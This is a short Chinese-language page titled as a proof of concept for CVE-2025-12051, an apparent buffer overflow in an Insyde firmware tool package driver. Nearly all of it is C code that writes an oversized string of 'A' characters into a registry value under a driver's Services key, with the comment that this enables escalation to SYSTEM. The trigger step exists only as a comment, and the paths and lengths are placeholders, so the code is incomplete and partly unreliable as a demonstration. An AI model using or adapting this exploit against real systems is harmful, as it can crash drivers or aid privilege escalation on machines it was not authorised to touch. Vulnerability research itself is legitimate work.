CVE-2025-12051: Insyde固件工具包驱动程序RTL_QUERY_REGISTRY_DIRECT缓冲区溢出漏洞

// CVE-2025-12051 PoC - 概念验证代码 // 注意：此代码仅用于安全研究和漏洞分析 // 请勿用于非法用途 #include <windows.h> #include <stdio.h> // 定义注册表键路径（示例路径） const char* REG_KEY_PATH = "SYSTEM\\CurrentControlSet\\Services\\InsydeToolDriver"; const char* REG_VALUE_NAME = "ConfigParameter"; int main() { HKEY hKey; DWORD dwType = REG_SZ; // 生成超长字符串以触发缓冲区溢出 // 实际长度需要根据目标驱动程序的缓冲区大小确定 int overflowLength = 8192; // 示例长度 char* overflowData = (char*)malloc(overflowLength + 1); memset(overflowData, 'A', overflowLength); overflowData[overflowLength] = '\0'; printf("[*] CVE-2025-12051 PoC - Buffer Overflow in RTL_QUERY_REGISTRY_DIRECT\n"); printf("[*] Target: Insyde Firmware Tool Package Driver\n"); printf("[*] Attempting to create malicious registry value...\n"); // 尝试打开或创建注册表键 LONG result = RegOpenKeyExA(HKEY_LOCAL_MACHINE, REG_KEY_PATH, 0, KEY_WRITE, &hKey); if (result != ERROR_SUCCESS) { printf("[-] Failed to open registry key. Administrator privileges may be required.\n"); printf("[-] Note: This vulnerability allows privilege escalation from low-privilege to SYSTEM.\n"); free(overflowData); return 1; } // 设置恶意注册表值以触发驱动程序中的缓冲区溢出 result = RegSetValueExA(hKey, REG_VALUE_NAME, 0, REG_SZ, (const BYTE*)overflowData, strlen(overflowData) + 1); if (result == ERROR_SUCCESS) { printf("[+] Malicious registry value created successfully\n"); printf("[+] Value length: %d bytes\n", overflowLength); printf("[*] Triggering driver to read the malicious value...\n"); // 触发驱动程序读取注册表值 // 这可能通过系统调用、驱动交互或其他方式实现 // 具体触发方式取决于目标驱动程序的实现 } else { printf("[-] Failed to set registry value. Error: %d\n", result); } RegCloseKey(hKey); free(overflowData); return 0; }